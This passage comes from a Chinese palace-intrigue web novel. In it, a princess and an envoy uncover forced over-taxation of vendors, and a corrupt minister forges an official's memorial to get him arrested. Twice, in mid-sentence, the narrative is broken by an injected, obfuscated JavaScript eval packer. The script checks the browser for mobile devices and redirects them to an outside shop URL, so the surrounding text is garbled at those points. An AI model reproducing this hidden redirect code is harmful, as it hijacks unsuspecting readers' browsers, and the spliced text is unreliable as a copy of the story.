仲清自幼起便由母亲带大,母亲也喜欢读书,所以他不觉得女子读书不好,甚至还很赞成,以他的思想,不论男子女子或是百姓贵人,都应该好好研习书册,不然怎地提升自我? 怎会有如此的大好人?朝颜感叹着。 她也是头一次见这样思想开明的人,只觉得相见恨晚,二人若能早些遇见或是前世遇见,她定不会傻傻的只知道在宫中等夫君归来,日日侍奉他哄他,还要每天想着法子生子。 她有些感慨,但一想到眼前人是被自己舅父推举才勉强当上藏室官便觉得上天不公,为何有才之人迟迟得不到重用?而那贪污受贿的小人偏偏坐在高台,手握权势,好不快活。 “朝颜不懂,先生如此开明的人,思想与常人不同,应是大智慧中的贤者,为何多年得不到重用?” 她甚至想,若她是掌权之人,定不会错失仲清此等人才,怎会只让他做一个小小的藏室官。 仲清早已接受了自己是个废人的事实,反而看开了,解释道:“正是因为异于常人的想法,所以他们才会觉得我这样的人当官是异想天开。况且我出身平民,纵使有人举荐也不可能一帆风顺。” “当今天下是王室世家的天下,父死子承,兄终弟及,叔伯相依,我等非亲非故之人他们自然不会随意任用。” “先生这话有些问题。” 朝颜想到前世今生许多君王与世家子弟,又道: “王室子弟们也并非全是聪颖之人,更有小人,蠢人甚至愚钝之人。照我说,应该给每个有才能之人一个机会,让他们与世家子弟一同处事,最后再视其功劳分封奖赏甚至加官进爵才是正举。” “你啊你,想不到你这小女子脑袋中装的东西竟比那些国君还要满。” 听完朝颜这几句安慰之言,仲清心中的伟大志向又被唤醒,出神地感慨:“若他们都如你一般便好了。” 奈何,清醒的人很少甚至没有,愚钝之人却比比皆是。 “若日后有机会,我定会请先生当我的门客!” 朝颜语气十分坚决,不论是真是假都让人听着身心愉悦。 仲清便也不扫她的兴,笑得十分开朗,一连说了五个好,又道:“我定会好好活着,等那一日到来!” 二人光顾着说话,一转身才发现酒肆竟空无一人了,桌上的饭菜留下一多半,不管不顾,貌似全都跑出去看戏了。暮商不知何时出去看的,回来便贴在娄卿旻耳侧细声禀报。 朝颜看着娄卿旻严肃的面目,便知事情好像不一般,连忙问他:“出何事了?” “酒肆正门外面有几人聚众闹事,推搡百姓,据说手上拿了刀剑棍棒打了起来,都见血了。” “场面太过危险,为保护你们的安全,请先生与公主回避到二楼。”娄卿旻就这样麻利地将二人安排好了。 朝颜起初还想跟着出去看看,但见娄卿旻眉头紧锁抿唇,如此严肃冰冷的神态,回忆起之前被挟持之事觉得他说的也有道理,就与仲清几人上到二楼,站在窗口处看戏。 娄卿旻不知何时派人调了周围几个暗卫,经过训练的队伍来势汹汹,与寻常小打小闹的人不一样,暗卫个个气势磅礴,冷面阎王一般,来了不到片刻便稳住了场面。 明晃晃看去,聚众斗殴的人马有两拨,一边是手持刀剑凶神恶煞身着琥珀色锦衣的队伍,一面是气得如同炸毛猫子的布衣百姓,拿着棍棒匕首。 二方各有气势,谁都不服输。 “为何闹事?”娄卿旻冷冷问了一句,尖锐的目光扫过众人,令其不寒而栗。 起初众人都像是哑巴般一言不发,场面安静许久,娄卿旻耐心耗尽,一个松垮垮的摆手,周围的暗卫们纷纷亮出手中利剑,齐刷刷一片势如破竹,烁烁的银光闪到不少人的眼。 布衣百姓那方不知是被唬到了还是开窍了,只见其中一个年轻男子最先向前一步,指着对面的人对娄卿旻叫道:“他们强制收税!” “我们今年的税分明早就交上去了,他们却还要我们交,你们这些当官的究竟想怎么样?” “平日里看不起百姓觉得我们是一文不值的平民,一到用上我们的时候便死皮赖脸来要,不给甚至还明抢,还打人威胁我们,怎么,我们平民不是人吗?我们不需要养家糊口吗?我们整日辛辛苦苦卖力气挣来的银钱全部交上去给那些贪官花天酒地了,最后我们活活饿死了,这像话吗?” “敢问这天理何在啊!天理何在?”他将事情的真相一一哭喊出来,诉苦叫冤,言语直截了当,十分清晰。 娄卿旻这时注意到男子额上有一片湿漉漉的血红,推测出是方才几人打架新弄出的伤口,见他如此不畏权势敢于畅言,确实是个有气量的人。 他本想安慰百姓,不料还未张嘴便听到对面为首一锦衣男子大步走上前来朝对方这边吐了口水,“你放屁,休要血口喷人!我们何时抢了?这都是你们该交的!” 话毕,方才叫喊话的年轻男子被激怒了,眼神发了狠,直接一把将手中东西扔到地上,发出一阵巨大响声,“外城究竟是谁在管辖!半点不如泉城的姜城主!先前我听闻那姜大人根本不会多收一分,有时还会拿自己府上的银钱救济难民,你们呢?” “整日搜刮百姓的东西占为己有,简直不堪为人!你们等着吧,恶有恶报,丑人天收,你们把百姓辛苦的血汗钱占为己有,日后迟早遭报应!” 话毕,只见身着琥珀色锦衣的男子目光如炬,死死盯着年轻百姓的眼神像是要从他身上剜下一块肉般狠毒。 向前一步指着他,威胁恐吓道:“你竟敢以下犯上,污蔑贵人,信不信我将你们全家老小都抓起来压入大牢?” “你敢!” 说着年轻男子火气腾的一下便燃起来,拿着棒子就要朝对方打去,还是后方站着的暮商将其死死按住,才避免了一场恶战。 不远处暮均上前一步道:“都闭嘴!别吵了!我家大人在此,你们若再敢造次,就把你们统统关到大牢里!” 话音刚落,几人又静了下来。 总归是有官职在身的,众人再生气也要给娄卿旻等人一个面子。 “你们且说说是谁派你们来收税的?” 娄卿旻不想让事情不了了之,抬步走向两队中间想问个清楚,哪知他话音刚落,穿着锦衣的男子们便被这副压迫性气势吓得退后了几步。 锦衣队伍无人接话,也不像方才那样盛气凌人。 甚至大气都不敢出,你推我攘的直向后退,为首的人见娄卿旻的暗卫露出了一小片空隙,抓住机会就带着众人溜烟地跑了,速度极快,仿佛市井小贼玩闹一般,上不得半分台面。 而这边与之争吵的年轻男子见人被吓跑,以为事情解决了便不想再给自己添麻烦,回望身后的同伙们一眼,施了眼色也作势要离开。 朝颜不知何时下的楼,她站在人群最后方将众人一举一动全看在眼里,已经跑了一队,这个不能再让他跑了,总要弄清事情的缘由才能帮其解决。 而后她示意暮商一把拉住要跑的年轻男子,并追问道:“这位小兄弟,到底怎么回事,你方才的话里有话啊,快将事情的原委一一道来,或许我们……这位大人能帮你主持公道。” “你又是何人?”年轻男子见一女子突然出现在此说话,眼里是警惕的。 “其余的话别问,你只管说!” “你们当官的都是一家人,用一个鼻孔出气,你们的话能信吗?” 朝颜淡淡看了男子一眼,满不在意地说: “这本就与我们无关,若你一个字不说,更无人会关心你们是否活命。不过我还是要提醒你一句,你方才惹怒的那帮人他们是不会善罢甘休的,趁现在有个机会摆在你眼前,快点将事情交代清楚或许还能救你们一命,若不然……” “你也知晓,当官人权力大本事大,悄无声息整治人的法子有许多,哪日你真被方才那伙人用以下犯上的罪名抓了,只有死路一条。” 年轻男子话被堵住了,“我……” “我劝你还是好好想想再开口。” 女子说话如此直来直去,将利弊分析得头头是道,年轻男子被她几番言语一提醒,才后知后觉反应过来,蓦地害怕了,“那、那我勉强信了你们。” 朝颜见目的达到,与娄卿旻相视一眼。 男人深不见底的黑瞳对上那双傲娇的桃花眼,一种微妙的情绪涌动着,无形之中有了共鸣,他仿佛品出女人那眼神像在与他邀功。 26. 内城风波(九) 朝颜最先收回视线,转头走向年轻男子听他一股脑地将所有事交代了个明白。 几番激烈壮语倒是让朝颜理清事情的缘由。 这人本是靠卖东西为生的小商贩,前段日子忽然有几个自称是踢替大人办事的人来找上门,说私人小摊贩挣得比寻常百姓多,所以要多纳税,甚至提出要比寻常人家多交几石粮食的荒谬要求。 他们还放言,若家中有私藏的贵重珠宝首饰,都要全部上交,否则会给人们定个偷盗贩卖珠宝罪名抄家,这简直荒谬。 若来人是真的大官也便罢了,但偏偏他们拿不出任何证据证明自己的身份,身上更是一封带印章的书信都没有,张嘴就来要求人们多纳税,比地痞流氓还不要脸。 商贩们自是不相信,也不会上交。 对方则是连着小半月一直托人来催,迟迟收不到银钱珠宝,恼羞成怒了,竟直接闯入家中夺人财物。 商贩们忍无可忍,这才生气抄了家伙跟人打起来。一动手便闹得不可开交,两方谁也不让谁,一个赛过一个强硬,差点闹出人命。 事情来龙去脉已经全部了解清楚,朝颜望向娄卿旻的眼神带着几分求助。 如今她手上除了侍女没有其他可用之人,意味着她什么都做不了,只能让娄卿旻施以援手。 本以为娄卿旻依旧会秉持着往日的不管不顾,独善其身,不想他也有发善心的时候。 他先是点头勾唇,对朝颜示以安慰,又转头对年轻男子提议:“你等人先回家中等候,锁好房门别放任何一个人进去,待本官向国君禀明此事后,自会给你们一个交代。” 娄卿旻望着眼前人群若有所思。 他之所以插手,也是猜测此事或许与那人有关。 年轻男子一听这话,顿时心满意足,带着众人朝娄卿旻与朝颜深深一拜,堆起笑脸道:“小的在此先多谢几位贵人的相助了!若真能平安解决此事,我们定会好好报答各位贵人的救命之恩!” 报答或不报答不重要,重要的是,百姓的利益能否得到妥善解决。 燕国除去少数以制盐种地为生的人便是这些小商小贩,一个国家若是连这些靠自己双手换取钱财的劳动百姓都容不下,那这个国家的未来也一眼望到头了。 朝颜不知燕国朝堂是否如华纪一般,设有专门的税官管理此事,所以也不随意推测,反而问一旁参与过政事的娄卿旻:“大人觉得此事是谁在背后搞鬼?” 娄卿旻心中虽有了答案但他没答话,又验证着问仲清:“敢问先生,燕国外城百姓的纳税之事是由谁人掌管?” “容我想想。” 仲清在燕国许多年,跟在姜贯身边也耳濡目染,知道朝官们各自的职责,他思来想去忽然一个激灵,这才想到外城百姓税收之事早在那人掌权之时便连同国库钥匙一齐分给那人了! 他蓦地愤恨一声,表情难看:“冤家路窄,竟又是那王酉铭!” “怎会如此巧合?”朝颜疑惑接话。 见仲清怒不可遏的模样,又联想到姜家之事,心里对王家的厌恶也随着更深一层,他们一家如此作恶多端欺负弱小,太过无耻。 说来也是蹊跷,几人自进入燕国后,每次无意牵扯进一件事中,总与那王酉铭有干系,如今看来他还真是几人的克星。 不过私吞百姓钱财可是大罪,此事若真被国君知晓,他断然不会再好好地坐在那个位置上。 朝颜这般想着,而后便听见仲清在一旁道出她的心声: “他王酉铭简直欺人太甚!” “害了姜兄还不满足,如今手居然都伸向寻常百姓家中了,实在无耻,若放任不管日后还不知变本加厉成何种模样!卿旻,此事人证物证确凿,明日得了空你尽管去向国君进言,回去我便写一封状告书,与你一同参他一笔!” “老夫倒要看看,桩桩件件的证据摆在他面前,他是否还能像如今这般恬不知耻,乐得自在!” 仲清一想到王酉铭一家人干得种种龌龊之事便怒目切齿,恨不得抽其骨剥其筋,但他官小,人微言轻,纵使再愤恨也不能越俎代庖,只能上告国君等更高位之人处置。 娄卿旻想了想,仲清所言也不全无道理,如今物证在那群人手中,人证在自己手中,是该借机给王酉铭一点颜色瞧瞧,若不然燕国国君一直被他蒙在鼓里,日后放任他掌管燕国所有城池,百姓则更加苦不堪言。 不如趁此机会警醒一下燕融。 他答应了仲清的提议,忆起今日还有别的安排,便向人辞别:“学生忽然想起还有件事未解决,便不亲自送先生您回去了,我派一个侍卫护送您。” “不碍事,你去忙吧你的便好。” 安排完仲清,娄卿旻转过身忽然朝着朝颜一拜,将华纪礼节全搬了来,言语也是先前从未有过的恭顺:“殿下,如今您身侧只剩一位贴身侍女,为护您安危,臣派暮均护送您回去。” 也不知娄卿旻的态度为何变得如此客气疏远,但朝颜只想了片刻便了然。 他的思虑也是对的,便笑着看向一旁的少年坦然接受了:“多谢少傅大人好意!那就有劳暮商了。” 几人就这样分道扬镳。 朝颜回宫之前去了姜宣同养伤之地看望他们,并将此事转告姜贯,几人都能预料到燕国马上便会有一场好戏上演,要变天了。 本以为还要等许多时日才能推动此事,不料王家自寻死路,主动递刀柄给他们,如此,他们没理由不接下。 * 日暮西山,霞光万道,夕阳尽数照临着左师府,偌大的府邸里洋溢着淡淡的平和。 左师周鉴白日里上朝回来行至内城时,从小摊贩手上得了一个稀罕物件,正颇有兴致地观赏把玩着,那小贩说此物名为八卦锁,若不知道机关天下没几个人能解开,他骨子里是个不服输的人,一听便不自觉地想挑战一下。 然而拿回来摆弄了许久还没找到破解的方法,这边就听下人来报说一个自称华纪使臣的年轻男子在府门前候着求见大人。 华纪使臣? 周鉴口中喃喃一句,思绪万千,忆起那日在宴席上见过的男子。 不是传言他在宫中闭门不出么,怎突然来找他了? 虽疑惑,周鉴还是让人将其快快请进来,自己则是收起了八卦锁,快步去正厅候着。 正厅不大,但十分宽敞,最中间放着一鼎香炉,周围零零散散摆着几个陶罐。铺了整整一屋子的竹制筵席,往里走还能看见里侧摆着一座不高不低的玄色木漆方案,周鉴刚坐下,还未抬头余光便瞥见一姿态挺拔的身影进了正厅。 来人举手投足间十分优雅贵气,如此姿态让人见了心中便不自然地燃起一丝欣赏,周鉴转身唤一了声门外侍女,“来人,烧一壶前段时日从华纪购来的好茶给这位大人尝一尝,也让他尝尝看,是否有故土的味道。” 娄卿旻已经走到面前,周鉴说完便邀他坐在方案对面,“少傅大人,请坐。” 言罢,娄卿旻坐下,微微笑着道了句多谢。 侍女过了一会儿便端上一壶茶,轻轻拿起茶杯倒上茶水后放置在二人面前便退了下去。 周鉴看着茶水又道一声请,娄卿旻便十分客气地端起来品了一口,浓郁茶香留于舌尖,再仔细回味,这味道与他从华纪带来的茶水别无二致,回想起自己手下调侃自己与左师大人有共同之处的话语,心中竟也觉得二人还有些相像。 他一直沉默着,静观其变。 对面的周鉴见他一心一意品尝茶水却不说话,便主动张口问道:“娄少傅,宫里传言你整日闭门休养生息,今日怎么有空来我府上探望了?” “让大人见笑了,在下住进内城后许是水土不服了,身上起疹子难受了几日,怕传给旁的人便自己躲在宫内,谁知竟让大人与燕国上下都知晓了此事,属实是闹了笑话。” 闻言,周鉴点头笑笑:“原是这样。” 而后他盯着娄卿旻左看右看,忆起方才所见男子的步伐姿态,忽然得出一句,“看娄少傅走路英姿飒爽,衣衫带风,想来今日是好得差不多了?” “谢大人挂念,已经好了。” 娄卿旻说完放下茶水,忽然起身弯腰对着周鉴一拜,剑眉轻蹙,摆出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405612|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 副十分不解的模样,望向对面坐着的人,“实不相瞒,在下始终有一事不明,故而今日来此特意向左师大人讨教。” 周鉴被他这副做低的模样整弄得有几分慌乱,连忙跟着起身,示意娄卿旻坐下。 “少傅大人不必多礼,直说便好。”周鉴见人如此有诚意,语气都变得十分和气。 “不知大人对前段时日姜家没落,国君封锁泉城城主府一事有何高见?” 娄卿旻单刀直入,打开天窗说亮话,周鉴反倒是开始卖起了关子,“物极必反,月盈则亏,不论何人何事都会经历这样一个过程,想必这个道理娄少傅比本官更明白。所以,人不一定一直处在最低处,亦不会一直在高处跳脚。” 依周鉴所想,姜家也是因为军功大而被国君忌惮才会落到今日的田地,但不代表他一辈子都翻不了身,眼下于他们姜家来说未必就是差的。反观而其他人,也一样,不到最后也不知谁胜谁负,亦不知谁能将戏唱到最后。 只一瞬娄卿旻便懂了周鉴所言,也知道他为何持中立的态度。 娄卿旻不想这一趟白来,想起今日外城所遇之事,坦然开口:“说起来燕国百姓能过上如今繁荣昌盛,蒸蒸日上的日子,多亏了燕国众位朝臣在前面为之遮风挡雨,那些百姓们应该感谢大人们的付出才对。” 话毕,周鉴摇了摇头。 “少傅大人此言差矣,众位朝臣只动了脑子、嘴皮子,若非平民百姓们在后面自力更生,自给自足,还为我们种粮织布,燕国也不会到如此兴盛的时段。” “说起来他们才是最大的功臣,我们也应该感谢他们!他们比我们更值得夸赞!” 他一番言语十分诚挚,仿佛在他心中百姓才是支撑天下发展的最重要的人物。 从周鉴身上听到自己想要的信息后,娄卿旻心中烦闷一扫而空,故而笑着迎合:“大人所言别具一格,对待事情的见解也与寻常人不同,在下今日从大人这里学到了书中没有的东西,也算是没白来。” 周鉴被夸得心花怒放,二人随之相视一笑,严肃的氛围也逐渐转为松快。 “不过,大人,在下想假设一番,只是假设,您别多心。”娄卿旻又转了话题。 见周鉴点了点头,一副悉听尊便的模样,娄卿旻才接话:“假设有人想毁掉当前盛世,谋害百姓,搅乱这安稳的日子,大人会袖手旁观么?” “袖手旁观?” 男人几乎瞬间黑了脸,“我周鉴生平最不喜欢有人拿百姓的安危做把戏,若真有人无事生非,自作聪明,本官自会让他知晓什么叫弄巧成拙!” 小贪小贿无伤大雅,谋财害命危及百姓,扰乱家国安危可是大事,不得不防。 周鉴变成如今模样也是因为自幼时起便跟着父亲走南闯北,见识了许多卑劣小人使下作手段害人的事,起初他一直为民主持公道,受了不少苦。 直到与父亲入了燕国,眼睁睁看着战争结束后,他慢慢成长为一代朝臣,才慢慢懂得藏拙,也开始享受如今的太平盛世,他不希望众位将士好不容易用命换来的安宁被任何一个人打破。 周鉴猛然意识到什么,追问娄卿旻:“你是否看到了什么?或是知道了何事?” 若非如此也不会假设出那样的话。 娄卿旻黝黑的深瞳带着一丝别样的情绪,这次他没有挑明,“大人明日便知晓一切了。” “还要多谢大人今日的茶水,在下许久未尝到如此沁人心脾的香茶。” “不必言谢,要谢还是谢种出此等好茶叶之人罢!” 聪明人之间的交谈总是耐人寻味,二人不必事事说清楚都能猜到对方话中的别有深意。 已经探到周鉴的态度,娄卿旻便也不打算再次久留了,而后起身抬臂对人一拜,“在下便不叨扰大人了,告辞。” 说完他便转身向外走去,周鉴跟在身后送他出了院门,目送他与侍卫离去。 他能猜出娄卿旻话中的意思,而后回到自己书房写了篇状告的谏言,待明日朝堂之上呈给燕融。 与此同时,右师府邸也是热闹非凡,鸡飞狗跳。 27. 内城风波(十) 今年的燕国不知犯了什么病,明明是深秋却如同冬日,晌午时刻还觉得有些燥,一入夜里,冷风便成了刮骨的刀,冻得人直哆嗦。 天将黑,右师府便早早闭了大门。 王酉铭年轻时饮酒如饮水,不小心染上了痛风。 此病不至于要人命,不发作也无甚,一到犯病之时便极其难受,凉风钻入骨缝那刻疼得痛不欲生,近几日天气愈发寒凉,他便吩咐下人早早点了炭火。 近来国君为外城百姓斗殴之事忧虑,下令彻查此事,奈何几日过去迟迟没有任何进展,王酉铭思虑许久后,请王堃父亲来府上商讨对策,二人退避了下人,一齐去了书房。 他们端着茶杯坐在垫子上对望着彼此,各个心思沉重,神情严肃。 “外城聚众斗殴的那几人究竟抓到了没?”王酉铭开口问对方。 他一想起燕融对他讲话时那不悦的态度便心烦意乱,语气十分沉郁。 “昨日便抓进府里了,只待你一声令下,今夜就可……” 男人抹了下脖子,自以为将制造麻烦的人解决了便可高枕无忧。 见人如此轻飘飘的模样,杀人仿佛杀死一个牲畜那样简单,王酉铭无奈垂眸闭眼,语气恨铁不成钢:“我算是知道堃儿随了谁的性子,整日打打杀杀要死要活,你可曾想过堵住一人的嘴容易,堵住万人的嘴难于登天?” “还是你计划将所有造反的百姓杀个一干二净?若日后有人状告此事,你让我如何跟燕融交代?” 见王酉铭忽然发怒,王堃父亲本想脱口而出的话到嘴边又不知该说什么:“这……” 其实说来,百姓们为争夺东西打架本就是件小事,本不用费多大力给点好处就能解决。但若弄出人命便得不偿失了。 千夫所指,无病而死。 王酉铭深知这个道理,所以他不想明知故犯,他明白不论有多大的权利也逃不过被追责。 见王酉铭面色不好,王堃父亲想解释什么,蓦地被一道声音打断:“不好了大人!” 王酉铭唤人进来,看侍卫连滚带爬,他心上烦闷,眉头紧锁,“慌慌张张,又怎么了?” 侍卫顿了下身子,道了声歉便俯身趴在地面,回: “大人让属下监视藏室官,属下昨日见他与那华纪使臣一同去了外城,结果撞破我们的人强收小商贩的税钱了,属下听说他二人要联手一起做什么,还听闻那藏室官写了文书向国君谏言,准备告……” 侍卫吞吞吐吐,抬眸看了王酉铭一眼又立刻低下头,胆小如鼠,身上哆嗦着,迟迟不敢说后半句。 “告什么?快说!”对坐的王堃父亲意识到什么,催促着下面人回话。 侍卫担惊受怕地望着王堃父亲,眸子又转向王酉铭,趴在地上一字一句道:“告了、告了大人您的状。” “什么?!” 告他的状? 王酉铭听到这话顿时怒火攻心,气得站起身子一下拍在桌案上,嘭的一声吓了旁人一跳,刚想问侍卫怎么不让人拦着,手上便多了一块柔软的布帛。 “大人息怒!大人息怒!”侍卫慌乱地站起身将东西递到王酉铭手上,出言安抚他: “属下见藏室小官的人鬼鬼祟祟,便想到他身上有什么见不得人的东西,就自作主张将他打晕了,这也是从他手上偷来的,貌似就是那小官准备呈给国君的文书谏言。” 王酉铭被侍卫几番言语整得情绪忽上忽下,气已然消了大半,他顺手捋了捋自己发灰的胡须,而后看着侍卫露出一副满意的笑,夸他一句做得好,便打开了布帛细细观看。 屋内炭火不知不觉地已经完全烧尽,周身温度降到了冰点,王酉铭忽然不觉得冷了,只感受到自己浑身火气十足。 他几乎是皱着眉头看完上面内容的,看完便将东西丢到王堃父亲面前,冷言道:“这老东西卖弄文采还颇有一套。你看看他写的!什么君君臣臣父父子子?君为臣纲?他究竟想做什么?真以为我王家是任人可欺的?” 王堃父亲见王酉铭如此怒不可遏的模样,也好奇知道那人究竟写了什么,连忙拾起布帛。 王酉铭还在说着:“本以为没了姜家,这芝麻小官能安安分分待着,谁知竟是个愚不可及的!竟拿此等东西呈给国君告我的状,怕是未见过本官到底有何本领吧?” 王堃父亲也看完了,像是哑巴吃黄连,上面所写有事实有夸大其词,他一瞬间无言,不知怎么安抚兄长。 * 布帛上第一句便是状告右师不顾尊卑,未能恪守本分,还说王氏家族一家独大,一边将国库钥匙占为己有,一边背地剥削百姓,迟早有一日要独揽政权,弑君篡位。 前面确实有几分事实。 不过这最后一句简直是血口喷人,污蔑诽谤! 王堃父亲捏着布帛,看向怒不可遏的男人,语气犹犹豫豫:“兄长,这小官太不自量力了,他即便是告了,国君也不会信他一人的一面之词。我们若不然将此物烧掉?” 王酉铭半眯着眸子,思索着。 烧掉便无事发生,万事大吉了? 实在可笑。 他先是想到姜贯,又想到那藏室官,而后冷笑一声。 果然,能和姜贯相处到一起的人,也是个不达目的不罢休的死板之人。即使他此次拦截了不代表不会有下一次,为保无后顾之忧,他定要让二人为此事付出代价。 他不是善人,可不能让威胁到他安危的人完好无损地走出燕国。 王酉铭深黑的眸子扫向案上的布帛,露出一抹邪气,他转头便想到一个绝妙的点子:“我们不烧,我们要顺着他的意,替他呈上去。” 见自家兄长语气如此坚定,王堃父亲一脸无措,不理解他所言,心中还想着莫不是被那小官刺激到了?此举摆明了是长他人志气灭自己威风,白白送命。 下一瞬,便听男人解释:“我们要呈,但呈得不是这份。” “待我添油加醋改写一番,再呈给国君,让国君看看这人是如何大展拳脚的。” 王堃父亲恍然大悟。 也对,白白送上来的机会可不能丢掉。 他们可借此机会反咬对面一口,届时不仅能把藏室官弄下台,更能彻底扳倒那个姜贯。 思及此他扯着脸笑看自家兄长,不得不说,此举可一箭双雕! 王酉铭冷笑一声。 一个小小的藏室官居然还有勇气向国君谏言? 也不看看自己是什么身份。 真以为国君会在乎一个可有可无隐形人的几句话? 简直螳臂当车,不自量力。 “大人,属下还有一事,不知该不该禀告。”侍卫左顾右盼,闪烁其词。 王酉铭没什么耐心,催促他:“别支支吾吾地,快说!” “那华纪使臣貌似去左师大人府上拜访了。” 娄卿旻,周鉴。 王酉铭脑子里忽然蹦出这两个名字。 探子已经来报好多次了,王酉铭也很疑惑那人的言行举止,“他究竟想干什么?又是藏室官,又是周鉴,他一外来人为何接二连三地与燕国朝臣扯上关系?莫不是想暗地勾结,计划着于我们燕国的不利之事?” 王堃父亲回想起娄卿旻在朝堂上咄咄逼人指正他儿的事,便有些记恨,忙接话补刀:“兄长,我一早便看出那小子也不是什么善茬,粗盐之事已过,他迟迟不走还不知在背地计划着什么呢,我们定不能让他过得太舒服!” “无事。纵使他是洪水猛兽又如何,我王家人英勇无畏,从不惧任何困难,来一个便解决一个,来一双便解决一双。等我把姜家和那小藏室官收拾了再处理他。” 王堃父亲这时候聪明了,“也不能在燕国对他动手,若他又拿两国联盟情谊说事,便对我们不利了!” 炭火燃尽的灰散出一种难闻气味儿,刺鼻。 王酉铭想起一件事,而后冷着脸向内里走去,从一个木匣中取出那根莹白色的东西。 是上次王堃捡到的龙骨,他粗粝的手指摩挲着龙骨,将几件事连在一起,:“我怀疑上次堃儿在府上被吓破胆子就是他的手笔。” 如若不然为何会有人有普桑人的信物龙骨? 又为何会突然跑到王堃府上? 那赵成延不可能做这事。 粗盐之事的来龙去脉除了赵成延便剩下那朝颜公主与娄卿旻知晓了,其他人根本接触不到嫌犯。 不过,他倒是忘了,他自始至终都忽略了一个人,一个处在事件最中间的事主—— 姜家,姜贯! 据知情人透露,姜贯好似是朝颜公主的亲舅父, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405613|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那朝颜又是与娄卿旻一齐出现在燕国的,本来娄卿旻因为粗盐之事对他王家有偏见,姜贯又与那仲清相识,巧合的是娄卿旻也识得仲清,眼下一看,他们全然是一伙的! 姜宣同的伤已然好个差不多了,按道理早就该离开燕国,但他们迟迟不走,定然是改了主意。 王酉铭豁然开朗,眼神发了狠。 这几人怕不是想联合燕国其他朝臣报复他王家! 他是不会让他们如意的! “兄长,接下来我们要如何做?” 王酉铭接话道:“小商贩一事暂且不用管,让那些人瞒着别传到国君耳朵里就好,你先把百姓们安抚好,让你手下的人控制好今年的炭价不要涨得太过分。” 而后他提笔重新仿照着仲清的笔墨语气,又在一片新的布帛上写下了其他内容,写完便将东西递给侍卫让他重新放回藏室官的人手上。 所有事情吩咐好,王酉铭面上露出一抹志在必得的笑容,“那些故意搅乱燕国朝政的人,待明日国君见过此文书,便会替我们解决一半。” * 翌日天还未亮,宫里便传来今日不上朝的消息,此举让众人都疑惑不止。 下命之人此时此刻还在朝宫前聚精会神地批着白日里臣下呈上来的文书。他昨夜一夜未睡,没根本没有精神上朝。殿内燃着几盏鹰足灯,数十段蜡烛,整个大殿被照得明光烁亮。 临近冬日,天气转寒。 有经验的外城百姓已经开始准备木炭以便冬日取暖了,甚至燕国境内的店铺都供应不上,还以此抬高价格压榨平民,总出现街头闹腾打架斗殴之事,搅乱了外城安稳。 燕融对此很是头疼。 此事年年秋冬时节都会上演一遍,偏偏今年愈发严重。而那华纪使臣迟迟不离开,若传到那人耳中叫人看了笑话,他这一国之君的脸面都不知该往哪处搁。 他烦闷地揉了揉额角,抬眼向那堆竹简中看去,只见一块方帛插在其中,纯白的一片柔软在坚硬的黄色竹简中很是显眼。 他指着布帛问一旁的内侍:“那是何物?” “回王上的话,这是您前段日子新封的藏室官仲清仲大人的进言,据送此物的小侍说,仲大人是俸禄不够便没买竹简,只能用素帛。” “藏室官仲清?” 燕融几乎快要忘了自己还设有这样一个官职。 若内侍不提,燕融早就不记得自己先前受人之托提拔了一个从未听过的无名小卒。一想到这人托了姜贯的福才得此机会一举上位燕融便打心眼里看不上他,心里对他的印象亦是空无半点墨水的年入半百的老人。 只是不知,何时何地一个小小的管理书册的人也有权给国君进言。燕国虽对进献一事没有严格的律法,但也不至于随随便便一个小官的东西能送到他面前。 不过,他还是有些好奇那块破布上写了何物,他吩咐内侍将东西拿了过来,打开看。 起初看着这舒适的字迹,燕融还觉得此人有些本事,随着他看完上面所写的内容,面色逐渐变得铁青,胸腔那股火气快要喷涌而出,最后忍无可忍,直接将东西扔到地下。 “放肆!” “将此物拿走!立刻给孤烧了!” 内侍肉眼可见的慌乱,从未见过燕融发如此大的火,哆哆嗦嗦跪在地上,爬到案前将东西捡起,用力磕着头,“王上息怒,王上息怒!” “他当他是何人?又以何种身份敢来教孤做事!” 内侍在君主身侧当任许多年,不看也猜出这帛布上怕是写了什么不合身份规矩的东西,奈何这几日燕融火气正大,仲清那人算是撞到刀口上了。 他有些怜惜那人,但还是要做好自己的本职工作,在一旁轻言轻语:“王上莫要生气,小心伤了身,许是他拿错了,奴这就去将此物烧掉。” 眼看内侍把布帛放置在烛火上灼烧,在火苗触到布角的那刻,男人出声制止了他,“不用烧,拿过来。”他忽然改了主意,不打算放过此人。 他道:“本想一齐与王后用早膳,眼下看孤是吃不成了。你传令过去,让王后自己吃。” 内侍转身出去吩咐宫人将王命传到后宫,又听燕融吩咐道:“孤要你亲自带人,务必将此等腌臜之物的主人给孤抓起来!把他带到这儿!孤倒要看看他如何解释!” 28. 漏网之鱼(一) 天蒙蒙亮,灰白雾色遮蔽天际,往日此时早已见到朝阳,今日怕是要落个空了。 内侍得了王命便带着整支禁军将仲清所居的客舍里里外外围了个水泄不通。 刀剑声混杂在一块,将客舍搅得鸡犬不宁。木门被撞破之时,仲清还在睡梦中,意识浑浊不清,不想内侍闯入室内刚见到人便大声吆喝着:“来人!将此等犯上作乱的小人给本官抓起来!” 仲清昨夜买通了一个小内侍,让他替自己呈谏言给国君,想着便入睡了。本打算今日联合娄卿旻打王酉铭一个措手不及,谁知竟在天不亮时被人打搅醒。 男人怒吼一声,他脑袋还未反应过来,周身便察觉到一丝沉沉的杀气。 